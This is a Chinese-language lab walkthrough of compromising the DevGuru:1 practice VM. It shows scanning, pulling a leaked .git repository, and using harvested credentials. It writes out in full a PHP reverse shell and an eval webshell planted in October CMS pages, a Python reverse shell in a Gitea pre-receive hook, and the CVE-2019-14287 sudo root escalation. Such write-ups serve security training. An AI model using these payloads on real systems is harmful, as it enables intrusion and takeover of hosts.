Devguru:1靶机渗透
网络结构:
环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24
网络由攻击机kali、靶机组成
靶机ip:192.168.1.143
kali linux ip:192.168.1.137
信息收集:
主机发现:
nmap -sP 192.168.1.0/24
如下图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.143
端口服务扫描:
nmap -p 1-65535 -A 192.168.1.143 -sV -T4
如下图,除开启22端口ssh服务以及80端口外,还另外开放了8585端口
目录爆破:
dirb:
dirb "http://192.168.1.143" /usr/share/dirb/wordlists/big.txt
dirsearch:
python dirsearch.py -u http://192.168.1.143 -e *
如下图,除与dirb扫描结果类似的目录外,还看到了一个./git目录
访问一下爆破出的目录:
共发现两个比较有价值的页面,一个80端口后台管理登录页面,80端口是个October框架的网站
http://192.168.1.143/backend/backend/auth/signin
8585端口也有个登录页面,是个gitea搭建的项目托管网站
漏洞挖掘:
第一次反弹shell
之前在使用dirsearch爆破目录时,看到一个.git/目录,这里我们可以用另外一个工具githack将其下载下来,GitHacker是一个多线程工具,可以检测站点是否存在git源码泄漏,并能够将网站源代码下载到本地。
工具获取连接:https://github.com/lijiejie/GitHack
./GitHack.py http://192.168.1.143/.git/
成功拿到git源码
经百度,得知October的数据库信息存储在database.php文件中,在config目录下找到此文件,查看文件内容,成功找到数据库用户名密码 october,SQ66EBYx4GT3byXH
登录之后来到网站的后台管理页面,,可以看到CMS选项下有一个添加页面的功能
我们可以利用这个,新建个新页面来制作反弹shell
function onStart(){ $s=fsockopen("192.168.1.137",4444); $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes); }
点击save保存,kali端监听端口
然后点击preview,反弹成功
同样方式创建一个一句话木马,用蚁剑连接,上传一个本地漏洞搜集脚本linEnum,这是一个基本shell脚本,从内核信息到定位可能的升级点(包括可能有用的SUID / GUID文件以及Sudo / rhost错误配置等等)进行扫描,以查找可能存在的提权漏洞,下载链接https://github.com/rebootuser/LinEnum
function onStart(){ eval($_REQUEST[123]); }
执行这个脚本,然而并没有看到什么有用的提权信息,说明www用户的权限被设置的很低,我们需要从其他用户入手,从脚本提供的信息来看,passwd文件是可读的
打开看一下,可以看到里面有一个用户frank,之前我们查看数据库的时候就遇见他了,老熟人了
但October的shell我们已经获取过了,只能是www用户,所以我们需要从其他的方面入手,比如说之前扫目录的时候看见的8585端口的gitea网站
暂时没在主机上找到有关gitea数据库相关的用户名密码,但之前用LinEnum搜集信息中,有一个app.ini.bak备份文件,在里面找到了gitea数据库的用户名密码
第二次反弹shell
再回之前的那个数据库登录页面,这次我们登gitea数据库
登录进去之后可以看到一个user表,里面有一个用户frank,但密码被加密了
这里我们不知道加密方式,没法直接解,但gitea的框架是开源的,我们可以在github上直接找到项目源码
https://github.com/go-gitea/gitea/blob/master/models/user.go
在这里我们可以找到密码的加密代码,使用一个我们自己设定的新口令,加密后替换到数据库中
最终得到代码
package main
import ( "fmt" "crypto/sha256" "golang.org/x/crypto/pbkdf2" )
func main() { var tempPasswd []byte tempPasswd = pbkdf2.Key([]byte("12345"), []byte("Bop8nwtUiM"), 10000, 50, sha256.New) fmt.Println(fmt.Sprintf("%x", tempPasswd)) }
代码为go语言编写,没有环境的话,可以在这个链接运行
运行后得到加密结果
将其替换至数据库中
保存修改,在登录界面登录测试,登录成功
我们找到frank用户的git代码仓库
gitea支持githook,我们可以自定义这些hook,在我们进行例如更新git源码这种重要动作时,这些我们事先定义好的名为hook的脚本便会起作用,执行一些例如发送邮件、核查代码等工作,同样的,我们也可以利用这些hook,来帮助我们进行渗透,例如反弹一个shell
在settings选项下我们就可以找到编辑githook的位置
这里我们选择pre-receive,pre-receive会在push前检查我们编写的规则,即只要我们提交保存代码,这个钩子就会执行,在里面写上我们自己的python反弹shell代码
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.137",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
保存修改,然后监听设置的4443端口
随便找一个文件修改一下,README.md也可以
提交修改,反弹成功,是我们预想的frank用户
权限提升:
拿到shell之后,再运行linEnum收集一次信息,因为我们使用的这个shell显示信息不是很方便,这里找一个有写权限的目录,将收集结果写入一个文件中
进到/tmp目录下,将这个文件用scp挪到外面来
scp 1.txt root@192.168.1.131:/root/1.txt
再查看枚举结果,可以看到存在sqlite3漏洞
搜索这个漏洞,用到一个网站https://gtfobins.github.io/,这个网站还有一个在线的漏洞搜索工具,有兴趣的可以下载一下https://github.com/GTFOBins/GTFOBins.github.io
言归正题,搜索到漏洞之后,这里给出了sudo的漏洞利用代码
输入之后,会提示输入密码,不可行,但我们之前收集系统信息的时候还可以看到sudo版本
1.8.21,在1.8.28版本之前的sudo存在一个cve漏洞,cve-2019-14287,这个漏洞使得,如果sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,我们可以通过制定用户ID -1或4294967295来以root权限执行恶意命令
这里我们利用这个cve,成功提权
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
来到/root目录下,查看flag